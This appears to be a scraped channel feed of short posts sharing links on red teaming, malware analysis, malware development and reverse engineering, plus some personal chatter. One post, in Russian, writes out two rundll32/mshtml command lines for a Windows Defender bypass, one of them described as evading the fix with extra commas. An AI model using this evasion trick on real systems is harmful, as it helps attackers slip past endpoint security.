Red team road map
Intern / junior / medium / senior
Red team needed concepts

Credit : Sohiel Hashemi


https://xmind.app/m/9Zcnkq

#red_team ,

———
@islemolecule_source

How should I activate my Linux 🤔

Coyote: A multi-stage banking Trojan abusing the Squirrel installer
Link

#malware_analysis
———
@islemolecule_source

UwU theme for x64dbg

https://github.com/OALabs/uwudbg-theme

———
@islemolecule_source

We are preparing for Valentine's day. We are now known as vx-uwu

پیاده سازی APC Injection در C

Link

#malware_dev
———
@islemolecule_source

https://drive.google.com/drive/folders/0By8giYopjXKPYjJSTGFwZHR0RUU

#books
———
@islemolecule_source

Analyzing Mutation Coded VM Protect
Link

#packer
———
@islemolecule_source

Cracking the coding interview
#books
———
@islemolecule_source

Reverse engineering of Android Phoenix RAT

Analysis: link
Phoenix overview: link

#malware_analysis
———
@islemolecule_source

Windows Defender Detection Mitigation Bypass Vulnerability
Win LPE
В 2022 году hyp3rlinx рассказывал как можно обойти windows defender передав дополнительный путь при ссылке на mshtml, дырку пофиксили. НО, добавив пару запятых в старый трюк - и опять bypass.
*
то есть было и пофиксили:
C:\sec>rundll32.exe javanoscript:"\..\..\mshtml,RunHTMLApplication ";alert(666)
магия запятой:
C:\sec>rundll32.exe javanoscript:"\..\..\mshtml,,RunHTMLApplication ";alert(666)
собака старая, трюки новые.
CVE пока не имеет )

#defender #bypass

From CreateProcess() to NtCreateUserProcess()Link
Link

#malware_dev
———
@islemolecule_source

HOOKING 101

https://pdfs.semanticscholar.org/cb60/31f2d6eaa50d18a1ce5c648aa6c12e15fb23.pdf

#malware_dev
———
@islemolecule_source

You may Wana know why we are not active like before, I was busy moving to New place this is my new room and the new setup I will active soon like before


Rate my setup plz 👁👄👁

cross-platform backdoor/reverse shell written in Python3

Link

#malware_dev
———
@islemolecule_source

DJI - The ART of obfuscation
Link

———
@islemolecule_source

NullSection - An Anti-Reversing Tool That Applies A Technique That Overwrites The Section Header With Nullbytes
Link

#reverse
———
@islemolecule_source